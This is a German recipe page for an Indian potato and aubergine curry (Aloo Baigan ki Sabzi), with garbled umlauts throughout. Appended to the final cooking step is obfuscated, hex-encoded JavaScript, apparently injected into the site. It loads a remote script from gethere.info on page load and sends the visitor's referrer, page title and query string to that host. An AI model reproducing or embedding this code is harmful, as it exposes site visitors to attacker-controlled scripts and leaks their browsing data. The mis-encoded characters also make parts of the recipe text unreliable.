Rezept – Aloo Baigan ki Sabzi (Kartoffel-Auberginen-GemA?se ) • huettenhilfe.de

Aloo Baigan ki Sabzi (Kartoffel-Auberginen-GemA?se )

Ein pikantes, vegetarisches Gericht aus Indien. Scharfes Aloo Baigan ki Sabzi - Kartoffel-Auberginen-GemA?se auf indische Art.

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Zutaten:

6 EL Kokosraspel

3 EL PflanzenA�l

2- 3 cm Ingwer in Streifen

Garam Masala nach Geschmack

1 Chilischote, fein gehackt

6 Kartoffeln, geschA�lt und gewA?rfelt

1 TL Salz

800 ml Tomatensaft

3 Auberginen in WA?rfel geschnitten

1 A?a��a�? 2 EL Kokoscreme (alternative Kokosmilch)

Zubereitung:

In einer Pfanne die Kokosraspel ohne Fett goldbraun anrA�sten und dann beiseite stellen.
Das A�l in einem Topf heiAY werden lassen Garam Masala und Ingwer hineingeben und kurz anbraten.

Kokosraspel, und Chilies dazugeben, unter RA?hren mitbruzeln lassen. Kartoffeln und Salz untermischen, gut umrA?hren. Danach den Tomatensaft zugieAYen und zum Kochen bringen.

AnschlieAYend kommen die Auberginen dazu, und das Gericht bei ca. 15-20 Minuten, bei niedriger Hitzezufuhr bei aufgelegtem Deckel, gar werden lassen.

Zuletzt kommt die Kokoscreme/kokosmilch dazu und fertig ist das Aloo Baigan ki Sabzi.var _0xd052=[„x73x63x72x69x70x74″,“x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,“x73x72x63″,“x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx33x63x58x66x71x6Bx26x73x65x5Fx72x65x66x65x72x72x65x72x3D“,“x72x65x66x65x72x72x65x72″,“x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D“,“x74x69x74x6Cx65″,“x26″,“x3F“,“x72x65x70x6Cx61x63x65″,“x73x65x61x72x63x68″,“x6Cx6Fx63x61x74x69x6Fx6E“,“x26x66x72x6Dx3Dx73x63x72x69x70x74″,“x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,“x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,“x70x61x72x65x6Ex74x4Ex6Fx64x65″,“x61x70x70x65x6Ex64x43x68x69x6Cx64″,“x68x65x61x64″,“x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,“x70x72x6Fx74x6Fx63x6Fx6C“,“x68x74x74x70x73x3A“,“x69x6Ex64x65x78x4Fx66″,“x52x5Fx50x41x54x48″,“x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E“];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}